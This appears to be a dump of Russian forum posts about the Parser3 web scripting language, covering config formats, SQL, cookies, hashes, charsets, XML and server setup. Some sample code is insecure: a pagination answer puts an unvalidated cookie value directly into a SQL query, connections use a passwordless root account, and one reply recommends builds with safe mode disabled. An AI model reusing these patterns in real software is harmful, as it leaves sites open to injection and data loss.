Проверьте, нет ли лишних прбелов, parser чуствителен к пробелам."
"30650","кстати, пару раз в результате манипуляций некоторых с ф-м sections.cfg выскакивала такая ошибка: column not found\
uri\
\
\
y:/home/test1.ru/www/auto.p(7)\
exception.type=parser.runtime \
menu y:/home/test1.ru/www/auto.p(5)\
navigation y:/home/test1.ru/www/index.html(3)"
"30651","Каких именно манипуляций.\
Заметьте формат tab-delimited должен строго соблюдаться"
"30652","Ну например, когда впервые все заработало, то тогда в этом файле было произвольное количество пробелов между элементами в строке, а когда я захот их выровнять более-менее, оставив по одному пробелу между словами, стало выдавать ошибку."
"30653","и еще, может это у меня браузер глючит (Опера 7.10),  но почему-то после внесения изменений в sections.cfg эти самые изменения никак не преображаются в html файле, т.е. перезагружаем страничку, а там все по-прежнему..."
"30654","Отключи у браузера кэшироваие или сделай это с помощью Parser'a."
"30655","Вы справку читали? Там подробно описан формат.\
Это не произвольное кол-во проблов, а табуляция,\
вообще почитайте уроки, там многое описано."
"30656","Имеется БД : parser. В ней таблица : parser. Также в этой таблице имеется часть ( field ) parser. И в это части имеется строка ( row ) с каким-то значением ( value ). Как посредством Parser'a можно удалить эту строку ( offset не нужен )?"
"30658","ЛЮДИ!\
Нужна функция которая подсчитывает максимальное колво дней в месяце!\
Пытался оперировать с Календарем , безуспешно..\
Помогите пожалуйстя"
"30659","У меня тоже все заработало.\
Всем спасибо за помощь!"
"30660","Если бы получалось, я бы не спрашивал. Справка не имеет подробного рассмотрения этого вопроса."
"30661","Проблему решил следующим способом:\
написал класс перекодировки через файл таблицы трансляций из HEX в windows-1251.\
\
# код класса.\
@CLASS\
hex_ru\
\
@create[]\
# считывает таблицу трансляций из файла\
$t_alias[^table::load[/data/hex_ru.al]]\
\
@hex_to_ru[instr]\
# собственно трансляция\
# s_out - выходная строка, доступ к ней как к переменной класса\
$s_out[^instr.replace[$t_alias]]\
\
# содержимое файла hex_ru.al\
hex	ru\
%E0	а\
%E1	б\
%E2	в\
%E3	г\
%E4	д\
%E5	е\
%B8	ё\
%E6	ж\
%E7	з\
%E8	и\
%E9	й\
%EA	к\
%EB	л\
%EC	м\
%ED	н\
%EE	о\
%EF	п\
%F0	р\
%F1	с\
%F2	т\
%F3	у\
%F4	ф\
%F5	х\
%F6	ц\
%F7	ч\
%F8	ш\
%F9	щ\
%FB	ы\
%FC	ь\
%FA	ъ\
%FD	э\
%FE	ю\
%FF	я\
%C0	А\
%C1	Б\
%C2	В\
%C3	Г\
%C4	Д\
%C5	Е\
%A8	Ё\
%C6	Ж\
%C7	З\
%C8	И\
%C9	Й\
%CA	К\
%CB	Л\
%CC	М\
%CD	Н\
%CE	О\
%CF	П\
%D0	Р\
%D1	С\
%D2	Т\
%D3	У\
%D4	Ф\
%D5	Х\
%D6	Ц\
%D7	Ч\
%D8	Ш\
%D9	Щ\
%DB	Ы\
%DC	Ь\
%DA	Ъ\
%DD	Э\
%DE	Ю\
%DF	Я\
+	 \
%2C	,\
%B9	№\
%22	\"\
\
# пример использования\
\
@USE\
/classes/hex_ru.p\
\
@main[]\
$hexconv[^hex_ru::create[]]\
\
^t_who_give_doc.offset(1)\
$who_give_doc[$t_who_give_doc.piece]\
^hexconv.hex_to_ru[$who_give_doc]\
$who_give_doc[$hexconv.s_out]\
# И всё хорошо!"
"30662","Тип - MySQL"
"30664","Сделал простой поиск по сайту :\
\
$search[^string:sql{\
SELECT id FROM parser WHERE body LIKE \"%test%\";\
}]\
Поиск : $search<br>\
\
Но при обработке выводит :\
\
options must be hash, not code (parameter #2)\
sql\
z:/home/test2.ru/www/soft/auto.p(54)\
\
Скажите, пожалуйста, где ошибка?"
"30665","[code]$search[^string:sql{\
SELECT id FROM parser WHERE body LIKE \"%test%\"[b];[/b]\
}][/code]\
\
Голубчик...\
Кто вас учил ставить точку с запятой (в парсере):-)"
"30666","I.\
1. получить объект date на первое число следующего за нужным месяца.\
2. сделать ^date.roll[day](-1).\
3. значение $date.day и будет максимальным числом дней в месяце.\
\
II.\
1. в январе, марте, мае, июле, августе, октябре и декабре всегда 31 день.\
2. в апреле, июне, сентябре и ноябре - всегда 30.\
3. в феврале - 28 или 29 в зависимости от високосности года.\
4. надеюсь, посчитать, високосный ли год сможете сами."
"30669","DELETE\
FROM   \
     ....\
WHERE\
     ...."
"30670","Там даже на разобравшись в работе класса можно работать с ним. Там же есть примеры того как пользоваться. Попробуйте - получится"
"30671","Всегда пожалуйста.\
Одна тонкость: значения столбцов в файле таблицы перекодировки должны быть разделены табуляцией (требование Парсера к таблицам создаваемым из файлов."
"30672","Можно использовать директиву @USE:\
@USE\
/lib/что-то.p\
при этом:\
1) каталог /www сервером воспринимается как корень;\
2) не подключаются лишние классы, как при варианте с $CLASS_PATH."
"30673","Попробуй так:\
@pageoutput[]\
#Кол-во записей которое выведем на страницу\
$itemcount[10]\
$conn[mysql://login:pswd@localhost/catalog]\
^connect[$conn]{\
#Считываем значение переменной из cookie \
$rows_count($cookie:rows_count)\
# Если не определено (читай не сохраняли)\
^if(def $rows_count){\
# выбираем первые 10 записей\
$records[^int:sql{SELECT * FROM company LIMIT 0, 10}]\
#присваиваем счётчику значение 1, чтобы далее всегда иметь смещение на следующую первую не отбраженную запись.\
$rows_count(1)\
# сохраняем пока открыто окно броузера\
$cookie:rows_count[\
   $.value[$rows_count]\
   $.expires[session]\
]\
# далее следует вывод в таблицу через метод \"^records.menu{}\"\
<a href=\"адрес этой же страницы\">Далее</a>\
}{\
# иначе, увеличиваем счетчик на количество отображённых записей\
^rows_count.inc(10)\
# сохраняем пока открыто окно броузера\
$cookie:rows_count[\
   $.value[$rows_count]\
   $.expires[session]\
]\
$records[^int:sql{SELECT * FROM company LIMIT $rows_count, 10}]\
# далее следует вывод в таблицу через метод \"^records.menu{}\"\
<a href=\"адрес этой же страницы\">Далее</a>\
}\
Должно работать ;)"
"30674","если не сложно?"
"30675","приведите, если ещё актуально?"
"30677","Подскажите, как провести ^switch[]\
для двух переменных разом (переменная 1 && 2)?\
Ну то есть реализовать такое:\
если перем1=0 и перем2=х то действие 1\
если перем1=х и перем2=0 то действие 2\
если перем1=0 и перем2=0 то действие 3\
если перем1=х и перем2=у то действие 4\
???\
а то через ^if-ы громоздко получается..."
"30678","[code]\
  ^switch[$перем1$перем2]{\
     ^case[0x]{}\
     ^case[x0]{}\
     ^case[00]{}\
     ^case[xy]{}\
  }\
[/code]"
"30679","http://www.parser.ru/docs/src/pa__charset_8C-source.htm 217 строка"
"30680","Спасибо, понял я этот принцип, для полного усвоения попробую сам\
заново переделать.\
Только один вопрос:\
отладчик почемеу-то ругается на ^rows_count.inc(10)\
\
undefined method\
inc\
\
В справке посмотрел, вроде все правильно, но почему-то все-равно\
ему не нравиться."
"30681","... у Вас написано примерно так:\
[code]\
  $var[10]\
  ^var.inc(10)\
[/code]\
что, естественно, вызывает ошибку.\
\
Надо:\
[code]\
  $var(10)\
  ^var.inc(10)\
[/code]"
"30682","на самом деле сложно :( Я вообщем понял источник бага, и ушел от него.\
\
Проблемы была с кэшем при загрузке содержимого страницы в новом окне, открываемого с помощью java таким способом:\
\
[code]\
<a href=\"URL\" target=\"workWin\" onClick=\"popupWin('URL','workWin',780,530)>\
...\
/**	java скрипт для открытия нового окна без панелей\
*	$Id: openWnd.js,v 1.3 2004/02/06 16:10:18 egr Exp $ \
*/\
\
nn4 = (document.layers)? true : false;\
ie4 = (document.all)? true : false;\
nn6 = (document.getElementById && !ie4)? true : false;\
\
function popupWin(fileName, windowName, winWidth, winHeight) {\
	if (nn4 || ie4 || nn6) {\
		posX = Math.round((screen.width - winWidth) / 2);\
		posY = Math.round((screen.height - winHeight) / 2);\
		posCode = (nn4 || nn6)? \"screenX=\"+posX+\",screenY=\"+posY : \"left=\"+posX+\",top=\"+posY;\
	} else {\
		posCode = \"\";\
	}\
	newWindow = window.open(fileName,windowName,'menubar=no,toolbar=no,scrollbars=yes,status=yes,width='+winWidth+',height='+winHeight+','+posCode);\
	newWindow.focus();\
}\
[/code]\
\
Тут похоже делалось 2 одновременных загрузки одной и той же страницы и где-то тут срывало крышу у кэша, т.е. из него получались какие-то страннные данные. Я изменил способ открытия окна и все стало нормально."
"30684","может какой backup недалеко?\
если нет, но всплывёт, конечно, хотел бы увидеть."
"30685","Я на самом деле пытался выделить проблему в чистом виде, но это не получалось никак :( Там вообще были сказочные вещи. Суть такова, что кэшировалась часть XML кода:\
[code]\
$xml[<?xml version=\"1.0\" encoding=\"$request:charset\"?>\
<doc>\
	...\
	^cache[${sDir}^math:md5[$request:uri]]($nTime){...}\
	...\
</doc>]\
[/code]\
где затем из $xml делался xdoc и преобразовывался в HTML. Так вот при вышеуказанном способе открытия этой страницы, то все было нормально, то была ругань на некорректный XML (при создании xdoc), то вообще 500-я, причем результат был абсолютно непредсказуем.\
\
Убираешь кэш, все нормально, ставишь - глюки. Изменил способ открытия окна, глюки ушли."
"30687","Большое спасибо..."
"30689","Пишу:\
\
@USE\
/lib/scr.p ^rem{/home/tit.ru/www/lib/scr.p}\
\
Говорит: usage failed - no $MAIN:CLASS_PATH were specified\
Определяю $CLASS_PATH[/lib] ^rem{в /usr/local/parser3/auto.p}\
\
Говорит: no found\
\
Так как с этим бороться ?"
"30691","Ошибка:\
\
'odbc://****' CDBException: Источник данных не найден и не указан драйвер, используемый по умолчанию\
  type: sql.connect\
\
код:\
\
^connect[odbc://DSN=ss^;UID=sa]\
\
\
Источник данных в панели управления настроил.\
Юзер есть, база есть, тест в настройке odbc проходит норм. Драйвер odbc для парсеро есть, лежит где надо."
"30692","нужно было источник данных создавать не пользовательский, а системный."
"30693","И Вам спасибо Ж-)"
"30694","Помогите ... Подскажите как реализовать функцию наподобие метода menu в классе Table только для XML\
Чтобы по очереди заходила в элементы (и в под-элементы)"
"30695","Да, я бы взял redhat версию libmysqlclient.so. Если работает остальное, должна и она.\
\
Если же разошлась libc - почти в морг. :)\
Или поискать совсем статический парсер или поставить FreeBSD 5.2 и собрать парсер - без xml это несложно."
"30696","Нужно писать просто:\
@USE\
/lib/scr.p\
\
# первый метод скрипта\
@main[]\
# далее твой код по созданию класса и т.д.\
Более подробно в разделе справки \"Определение пользовательского класса и операторов\""
"30697","Справочное руководство, Урок №5"
"30698","Ммм... Возможно после считывания из cookie нужно переменную $rows_count привести к int - ^rows_count.int[]."
"30700","Я немного переделал, все получилось, я тебе код на почту  скинул."
"30701","[code]^if(def ???)[/code]"
"30702","ну вообщем тут тебе никто ничем не обязан, поэтому так и отвечают. А причина этого в том, что ты и компания задают такие вопросы, что плакать хочется, и народу вообщем лениво писать о вещах, о которых уже столько книг написано, что это просто неприлично писать ещё раз.\
\
Да и где тут написано что здесь осуществляется ликбез по БД, программированию и.т.д.?"
"30703","[code]<a href=\"http://www.the.ru\" OnClick=\"window.location.href='?a=count&id=71'\">\
[/code]"
"30704","Попросил у админа путь к libmysqlclient.so, получил ответ, исправил auto.p. Теперь Parser3 ругается:\
...'./lib/libparser3mysql.so' driver failed to initialize client library '/usr/local/mysql/lib/libmysqlclient.so', can not open the dynamic link module\
Как это все-таки лечить?"
"30705","Выполняется такая программа\
\
$razdel($form:part)\
$sect1[^table::load[/forum/razdel.txt]]\
\
$passwd{$cookie:password}\
$name1{$cookie:name}\
\
^if(def $name1){\
^if(^sect1.locate[razdel;$form:part]){Добавить сообщение в $sect1.name}\
<form method=\"POST\">\
Ник: <input size=20 name=\"name\">\
Заголовок: <input SIZE= 32  name=\"header\">\
</p>\
<p>Текст новости:<br>\
<textarea cols=\"50\" name=\"body\" rows=\"5\"></textarea>\
</p>\
<p>\
<input type=\"submit\" value=\"Add New\" name=\"posted\">&nbsp;&nbsp;&nbsp;\
<input type=\"reset\" value=\"Cancel\">\
</p>\
</form>\
}{}\
\
Но появляется ошибка, такая:\
\
method of MAIN (MAIN) accepts maximum 3 parameter(s)\
if\
\
Я так понял что первый If чтото глючит.\
Чтобы это могло значить ведь всё правельно!"
"30706","&nbsp^;"
"30709","В документации есть слова\
\"Хеш позволяет создавать многомерные структуры, например, hash of hash, где значениями ключей хеша выступают другие хеши.\
\
$имя[\
    $.ключ1_уровня1[$.ключ1_уровня2[значение]]\
    . . .     \
    $.ключN_уровня1[$.ключN_уровня2[значение]]\
]\"\
\
Но отсюда не понятно, как в качестве значения ключа хэша присовить хэш, к которому потом можно будет обращаться. Судя из этого примера, мы просто \"удлиняем\" имя ключа, ведь в рамках корневого ключа мы не может разместить множество ключей.\
\
Меня интересует возможность создания таких структур и обращения к ним:\
\
$hash1[\
   $.key1[\
       $hash2[\
               $.key1_1[value1]\
               $.key1_2[value2]\
\
               ]\
         ]\
   $.key2[\
       $hash3[\
                ...\
             ]\
          ]\
      ]"
"30710","да, в хеш можно класть что угодно, в том числе другой хеш.\
\
и записывается этот другой хеш в хеш точно таким-же способом, как туда записывается значение любого другого типа."
"30711","Парсер работает на сервере, можно хоть лбом об стену биться, но заставить его работать просто открывая в браузере дисковый файл где находится код, нельзя. Попробуй кстати то же самое с asp или php файлами проделать :)"
"30712","вопрос заключался в организации такой структуры.\
вопрос уже отпал =)) нашел пример в документации: у меня ошибка была в том, что перед именем полей ставил $.\
\
но назрел нвоый вопросик =)\
^хеш.foreach[ключ;значение]{тело}\
как определить порядок перебора ключей? а то все время в разном порядке перебирается, у меня из-за этого меню пляшет =))"
"30714","если подумать, то можно скорее всего слабать хитрый обработчик расширения в маздае, чтобы он передавал его Парсеру и как-нибудь ответ кидал браузеру... но в FAQ и в доке про это точно нету ничего... и вряд ли это кто-нибудь делал когда..."
"30717","...за помощь (-%"
"30718","ПАФ как-то сказал - можно встать на уши, и в таком виде пойти на рыбалку ..."
"30720","IMHO Не стоит так отвечать людям, которые хотят разобраться и научиться. В конце концов они не претендуют на Ваше рабочее место!\
А если Вам лениво отвечать на такие вопросы, так не отвечайте!"
"30721","Простота - понятие относительное.\
Но в целом я согласен. Отслеживать переход по ссылкам приходиться при помощи комбинирования скриптов Парсера и ЯваСкрипт, с последующей обработкой $request:query."
"30722","дело не в рабочем месте, а в хамстве, с которым этот человек воспринимает справедливые советы с указаниями обратиться к документации."
"30723","Слонёнок:\
- А давайте спросим у Попугая, извините.\
Попугай:\
- Спрррашивайте..."
"30724","Мда... Обращение и вправду грубовато, но мне вспомнилось какое бешенство у новичка вызывает отношение \"мастеров\" на форумах, почтовых рассылках и т.д. А ведь он (новичок) зачастую просто не может сформулировать проблему настолько конкретно, чтобы найти ответ в узко специализированной документации. Кстати документацию тоже нужно найти..."
"30725","Хотелось!! Я целый день сидел над этой проблемой. Всё излазил, всё испробовал.но так и не понял в чём проблема. И понял что без помощи профессионаллов мне не обойтись. Спасибо всем!!!"
"30728","это/и многое другое/ уже обсуждалось."
"30729","Мое мнение такое: если хочешь помочь помогай, я часа три сидел в форуме, чтобы \
помочь челеовеку установить Парсер, а он оказалось html файл запускает двойным\
кликом, ну не знал, так незнал. А кидать обрывки фраз в ответ, ну по меньшей мере это просто ненужная трата времени."
"30730","Дорогой PAF! Прежде чем писать ответ, стоит осмыслить содержание, а не реагировать на последнюю фразу >:("
"30731","А то написали \"да\" и все."
"30733","народ!\
на странице есть шапка, состоящая из 5 картинок, как в хтмл сделать так чтобы они грузились из кэша, а не постоянно с сервера?\
\
биг сэнкс!"
"30735","пришло задание на татарскую секцию сайта\
надо заливать через CMS-интерфейс в MySQL тексты на татарском(с мака и винды)\
вопросы:\
надо хранить док-ты(html-ли CMS`a) на сервере в UTF-8 ?\
какой писать чарсет для коннекта с базой, чтоб текст не похерился?\
\
пока все в win-1251"
"30737","тогда буквы будут передаваться туда и обратно \"как есть\" = их никто не испортит.\
\
НО.\
имейте в виду, что\
order by не будет работать.\
\
также не будет работать length/substr и прочее, зависящее от количества байт на букву.\
\
если вам это неважно, можно не напрягаться."
"30738","вопрос:\
прямое указание UTF-8 в auto.p самого сайта переопределит что у меня на все проекты идет 1251?\
\
просто добраться до auto.p рядом с parser3.cgi не могу - прав нет."
"30740","Вот написал оператор для проверки включенности кук. \
Пожалуйста, покритикуйте..\
[code]\
\
### Проверка кук на включенность\
@is_cookie_on[]\
\
^if(!def $form:csid){\
\
$cookie_sid[^math:uid64[]]\
$cookie:$cookie_sid[$cookie_sid]\
\
$response:location[http://${env:SERVER_NAME}${env:SCRIPT_NAME}?csid=$cookie_sid]\
\
						}{\
	$formname[$form:csid]\
		^if(def $cookie:$formname){\
\
		$result[on]\
\
									}{\
\
		$result[off]\
		}\
	}\
### / Проверка кук на включенность\
[/code]"
"30741","Согласен поиск рулит но вот sitff здесь причём?\
[code]\
^process{строка}\
[/code]"
"30742","В парсере появилась возможность \
[quote]\
Везде, где можно считать XML, можно задать адрес документа вида parser://метод/параметр\
[/quote]\
У меня вопрос, могу ли я в xsl шаблоне написать:\
[code]\
<xsl:import href=\"parser://super/rules\" />\
[/code]\
Конечно я понимаю, что написать я могу все что угодно :), но должно ли это работать? Я пробовал, у меня не получается.\
\
Спасибо!"
"30746","никак нельзя в <title> поставить заголовок поста впереди названий разделов и сайта?\
так легче закладки делать: а то чтоб узнать - на какой пост закладка приходиться панель закладок открытой держать на треть экрана (("
"30748","возможно, вы забываете в вашем методе выдать\
[code]\
@super[params]\
<?xml ...\
[/code]\
\
шапку?"
"30749","В таблице имеются записи на английском и на русском,\
как вывести сначала все английские, а затем русские."
"30750","Вот такой код\
\
-------------\
@main[]\
^show_news[]\
\
@show_news[]\
$tab[^table::load[nameless;http://www.design.chb.ru/i.html;$.method[get]]]\
<hr>\
<table border=1>\
<tr>\
	<td>дата</td><td>адрес</td><td>новость</td>\
</tr>\
^tab.menu{\
<tr>\
	<td>$tab.0</td><td><a href=\"$tab.1\">$tab.1</a></td><td>$tab.2</td>\
</tr>\
}\
</table>\
-------------\
\
выдает\
\
-------------\
invalid HTTP response status\
302\
\
/pub/home/serzyx10/radio-shanson/i.html(4)\
exception.type=http.status \
------\
\
load /pub/home/serzyx10/radio-shanson/i.html(4)\
show_news /pub/home/serzyx10/radio-shanson/i.html(2)\
---------------------------\
\
хостер валуй"
"30751","[quote]\
The method is case-sensitive.\
[/quote]\
http://www.faqs.org/rfcs/rfc2616.html\
\
а у вас маленькими написано, вот сервер и не понял.\
\
мелочь: method=GET по-умолчанию, можно вовсе не указывать."
"30752","спасибо заработало."
"30753","Если можно, сделай пожалуйста обрезание заголовков в левой колонке.\
\
При небольших разрешениях 800х600 приходится пользоваться горизонтальным скролером для просмотра сообщений."
"30754","Парсер в log записал такое сообщение:\
###################################################\
[Thu Jun 24 16:56:19 2004] /path/page.html?xxx=xxx: \
\
/home/mydomain/domains/mydomain.ru/path/page.html(5:19): \
\
'http://www.mydomain.ru/path/file.xml' \
\
http://www.mydomain.ru/path/file.xml:1: error: Space required after the \
\
Public Identifier|<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">|   \
\
                                             \
\
^|http://www.mydomain.ru/path/file.xml:1: error: SystemLiteral \" or ' \
\
expected|<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">|            \
\
                                    \
\
^|http://www.mydomain.ru/path/file.xml:1: error: xmlParseExternalID: \
\
PUBLIC, no URI|<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">|      \
\
                                          ^|\
##############################################\
\
Куда он меня послал? Сам я никаких DOCTYPE не писал, а другие странички, тоже использующие XML, не ругаются."
"30755","Вот поисковая ссылочка\
http://www.parser.ru/forum/?terms=sitff&search_in_message=1&author=&doSearch=%CD%E0%E9%F2%E8\
Там есть 2 сообщения одно моё другое ваше.\
\
Вобщем не морчте голову, php можно запускать только через process. Прямое включение кода Php в код парсера не приведёт к исполнею кода php.\
\
Кто-то ранее говорил, что есть возможность запуска php в нутри парсера, но там было приведено очень большое НО\
Надо переколбасить парсер осбым образом под второй апач\
\
зы: Я думаю его и под первый переколбасить можно, но это никому ненужно"
"30756","Пытаюсь сделать следующее\
\
$ddd[^date::now[]]\
$ddd\
\
В парсер-логе вижу следующее:\
'MAIN' method_frame may not be overwritten with date, store it to variable instead [parser.runtime]\
\
Че делать???"
"30758","Действительно, пускайте php только через process и будет всем шастье"
"30759","сорри если где это было, просто работал на freebsd, а тут у другого хостера пришлось парсер для красной шапочки ставить... \
\
parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename './auto.p', fuid(32043)!=euid(99) or fgid(32046)!=egid(99)  type: parser.runtime\
\
Это выдает index.html содержания:\
<p> ^eval(2+3)	</p>\
	\
и auto.p:\
\
@auto[]\
$ROOT[/]\
\
#========================================\
@postprocess[body] \
^body.match[\\n][g]{}\
$lastmodified[^file::stat[$env:PATH_INFO]]\
$response:Last-Modified[$lastmodified.mdate]\
$response:charset[windows-1251]\
$response:content-type[\
	$.value[text/html]\
	$.charset[$response:charset]\
]"
"30760","Как-то подустал я для каждого сайта писать свою администрилку.\
Есть ли еще здесь с кем обсуждать построение CMS?"
"30761","он же пишет: парсер собран в безопасном режиме, вы его можете запускать только если являетесь пользователем от имени которого запущен апач. что делать? пересобрать самому... либо как я - скачать с товарища Егорова http://egoroff.spb.ru - у него там полный комплект - с поддержкой хмл и отключенным режимом. удачи."
"30767","[code]\
$s[^cache[файл](10000){неважно}]\
^s.save[файл.txt]\
[/code]\
\
если файлик ценный, предварительно создайте копию…\
\
если устарел, такой код его сотрёт."
"30769","Да с кэшем понял, а хэш можно?"
"30770","$Re, однако по-моему, даже до формулирования требований к тому, что это должно такое быть, не дошло. Пополнение баз данных - это еще не все, по-моему. \
\
А что все занимались  - это неплохо, я, знаете, в глубине души на что-то такое и рассчитывал, что меня не спросят первым делом \"А что это такое\""
"30771","А вы бы их развели по разным полям: rus и eng, например. И с запросом проблем не будет. Я распознавать тип букв - это как-то неправильно. А если в русском тексте есть английские слова?"
"30773","http://loc.stack.ru/projects/CSS2/cover.html\
http://www.rol.ru/news/it/helpdesk/xml01.htm\
http://www.rol.ru/news/it/helpdesk/xslt01.htm"
"30774","$date[^date::now[]]\
$t[${date.year}${date.month}${date.day}${date.hour}${date.minute}${date.second}]\
$t"
"30775","[code]\
$f[^file::exec[/gb/gbwc.pl]]\
$f.text\
[/code]\
\
gbwc.pl это сама гостевуха\
к ней идут ещё порядка 6 файлов включая админку и бд.\
\
на выходе - пустой лист.\
если запустить отдельно http://site/gb/gbwc.pl - всё работает на ура.\
\
помогите - все руки истоптал.\
\
p3 wxpsp2 denwer"
"30777","[quote]Загрузка некоторых версий 3-го парсера, собранных мною. Версии с отключённым safe mode, вы можете использовать на свой страх и риск — это может создать угрозу безопасности ваших данных и привести к их потере. Эти версии (без safe mode) можно использовать на отладочных серверах при разработке или тестировании, но для рабочего сервера, лучше позаботиться о безопасности (настроив suexec), и взять «нормальные» версии. [/quote]"
"30778","фактически надо ставить слева и справа\
\
<span style=\"font-family:Georgia;\">2004</span>\
\
и к тому же закрывать предыдущий тег слева, если он есть, и открывать тек справа, опять же если он есть.\
\
это вот замысел такой."
"30780","Не уверен, что вы хотите, чтобы у вас было так:[code]\
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-<font face=georgia>1251</font>\">[/code]\
\
Поэтому сначала определитесь конкретно, в каком куске текста вам надо цифры менять - а потом в соответствующем модуле\\блоке\\методе рег.выражениями постарайтесь :)"
"30781","Возникла проблемка: незнаю как вывести курс доллара по центробанку России. Может кто-то сталкивался, прошу помочь..."
"30782","Может так?\
<style type=\"text/css\">\
<!--\
body {\
	font-family: Georgia;\
}\
-->\
</style>"
"30784","Соберите тестовые версии, демки, фривар скрипты посмотрите как там все это сделано-скрученно, а потом сделайте еще лучше.\
Встречал много коммунити, посвященных именно разработке cms. там оч много полезной информации"
"30785","Оказывается, можно использовать и так:\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<!DOCTYPE document\
[\
	<!ENTITY puper SYSTEM \"parser://puper\">\
]>\
<document>\
	&puper;\
</document>\
[/code]\
У меня уже нет сил радоваться за новые возможности в Парсере :)\
Спешу свами поделиться."
"30786","ясное дело не так\
\
хотелось бы чтобы менялись только числа внутри <body> и только те, которые не имеют отношения к разметке или цвету.\
\
попробовал поковырять с match в postprocess... видимо крутовато.\
\
неужели никому не приходило в голову такое."
"30787","Подскажите плиз, как правильно запускать...Что для этого нужно?\
У меня стоит Денвер с parser3\
по документации что-то непойму.\
Пробовал через cgi запускать, неполучаетс :("
"30788","Так же принято сначала пользоваться поиском по форуму, перед созданием нового треда"
"30790","Всё. вроде разобрался. Да кстати, через поиск искал и ничего путнего ненашол.\
\
Теперь проблема, он выдаёт ошибки на ровном месте.\
\
Т.е. $bla[dsdsdsdsd]\
пытаюсь её вывести, а он мне ругается:\
undefined method  type: parser.runtime"
"30791","Если не поможет, выкладывайте весь код"
"30792","не переживайте - это проблемы хостинга и администратора апача. вас, как пользователя хостинга не касается. если бы вы были root'om - то теоритически могли бы снести всю систему. а так - для вас разницы нет, от хакеров не защититься.  :-)\
\
самому собрать тоже можно... но с хмл - гемморойно достаточно."
"30794","незачто. будут вопросы по линуксу - пишите, постараюсь помочь."
"30795","sections.cfg :\
1   Главная /\
2   Новости /news/\
\
auto.p :\
@navigation[]\
$sections[^table::load[sections.cfg]]\
<table width=\"100%\" border=\"1\">\
   <tr>\
   ^sections.menu{\
      <td align=\"middle\">\
          <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a>      </td>\
   }\
   </tr>\
</table>\
\
main.html :\
\
^navigation[]\
\
В результате мне выводит:\
'uri' column not found  type: parser.runtime\
\
Хотя sections.cfg вроде как описывалось в документации создавал. Т.е. Табудяции, ентеры соблюдал :). Но почему то нехочет работать :(\
\
А когда в sections.cfg убераешь вторую строчку. Т.е. оставляем две, огибки невыдаёт, но ничегно непоказывает. Вот html который идёт в таком случае на вывод:\
\
<table width=\"100%\" border=\"1\">\
<tr>\
</tr>\
</table>"
"30797","Решил прикрутить парсер. Скопировал parser3.cgi в /cgi-bin/, в httpd.conf в AllowOverride указал и FileInfo (All тоже пробовал), в /www/html/ создал .htaccess следующего содержания:\
\
AddHandler parser-html html\
Action parser-html /var/www/cgi-bin/parser3.cgi\
ParserConfig \"/var/www/html/auto.p\"\
<Files ~ \"\\.p$>\
Order allow,deny\
Deny from all\
</Files>\
\
Теперь при обращении к сайту выскакивает 500-я ошибка, в /log/httpd/error_log следующие строки:\
\
[Sat Jun 26 14:13:53 2004] [alert] [client 192.168.1.2] /var/www/html/.htaccess: Invalid command 'Action', perhaps mis-spelled or defined by a module not included in the server configuration\
\
Если из браузера обращаюсь http://my.domain/cgi-bin/parser3.cgi, получаем окно со строкой: Parser/3.1.3\
\
Подскажите, как лечить?"
"30798","примерное построение страницы:\
1. назначаются переменные сайта\
2. выбирается инфа из базы, для нужного раздела\
3. идет \"заворачивание\" инфы в html/xml + css/xsl\
4. идет выдача клиенту\
\
так что мешает после выбора из базы, только в этой инфе пробежаться регулярками и сделать что надо, потом через п 3 расставить все куда и как надо и отдавать?\
\
(хотя я сейчас перехожу на вариант предложенный PAF - отдавать текст под \"типограф\" до размещения на сайте, сразу при добавлении в базу)"
"30800","ммм... а не тех, кого эта тема не интересует уже."
"30801","Eugene Spearance дело говорит - тут все так или иначе имеют отношение к разработке систем управления - и Вы, видимо, не исключение ? Не совсем ясно что Вас интересует. Если совместная разработка - так тут время назад уже были позывы писать гуртом CMS - можете изучить историю вопроса и сделать выводы :) А если хочется обсудить конкретные проблемы - так неплохо было бы формулировать вопрос (конкретнее)."
"30802","Если да то ошибка там, вы колонки необозначили"
"30803","Вот код файла arc.html \
\
Код: \
\
@title[] \
Архив гостиной \
\
@content[] \
\
^connect[mysql://root@localhost/mmm?charset=cp1251_koi8]{ \
\
\
^use[/public_gb/scr.p] \
$scroller[^scroller::create[ \
$.path_param[record] \
$.table_count[^int:sql{SELECT COUNT(*) FROM gbnew }[$.default{0}]] \
$.number_per_section[10] \
$.section_per_page[10000] \
$.type[page] \
]] \
\
$scroll[<br><span class=\"styleX\">^scroller.draw[<< ; >>]</span><br>] \
\
\
<b>$scroll</b> \
<hr> \
\
$gb[^table::sql{ \
SELECT * FROM gbnew \
ORDER BY \
id DESC \
}[ \
$.limit($scroller.number_per_section) \
$.offset($scroller.record_number-1) \
] \
] \
\
\
} \
\
^gb.menu{ \
\
} \
\
\
\
\
Далее код файла, который упоминается в коде выше - scr.p (не знаю понадобится он или нет, и всё же...): \
\
Код: \
\
@CLASS \
scroller \
\
#### \
# Scroller.p - draws the [section|page|record number] navigation ruler of your table records \
# \
# Calling of current operator looks like this \
# 1. first connect your scroller class by ^use[scroller.p] or @USE scroller.p \
# \
# 2. create scroller object by typing this row (parameters passed in hash) \
# $scroller[^scroller::create[ \
# $.request[$form:fields] \
# $.path_param[record] \
# $.table_count[^your_table.count[]] \
# $.number_per_section[25] \
# $.section_per_page[5] \
# $.type[page] \
# ] \
# ] \
# \
# Parameters Description: \
# request - hash which contains fields with values \
# path_param - name of request field which will pass the record number in the request query \
# Example: $.path_param[record] -> the path will be: /path/?your_previous_params_if_any&record= \
# WARNING! If you'll define the path_param, programm will override all params in request query with same name \
# table_count - records count of table we want to scroll \
# number_per_section - number of records per section \
# section_per_page - number of sections per page \
# type - scroller type, must be \"page\"(will display number of pages against records) or blank(will display number of records) \
# \
# 3. draw your ruler by typing this row \
# ^scroller.draw[<;>; | ] \
# < - previous navigation char \
# > - next navigation char \
# | - sections delimiter \
# it will draw a navigation ruler of your table records \
# \
# 4. .select() current section records and .menu{} your table using code below(if you need to .menu{} any) \
# $current_section[^your_table.select(^your_table.line[] >= $scroller.record_number && ^your_table.line[] <= ($scroller.record_number + $scroller.number_per_section - 1))] \
# ^current_section.menu{ \
# . \
# . \
# . \
# } \
#### \
\
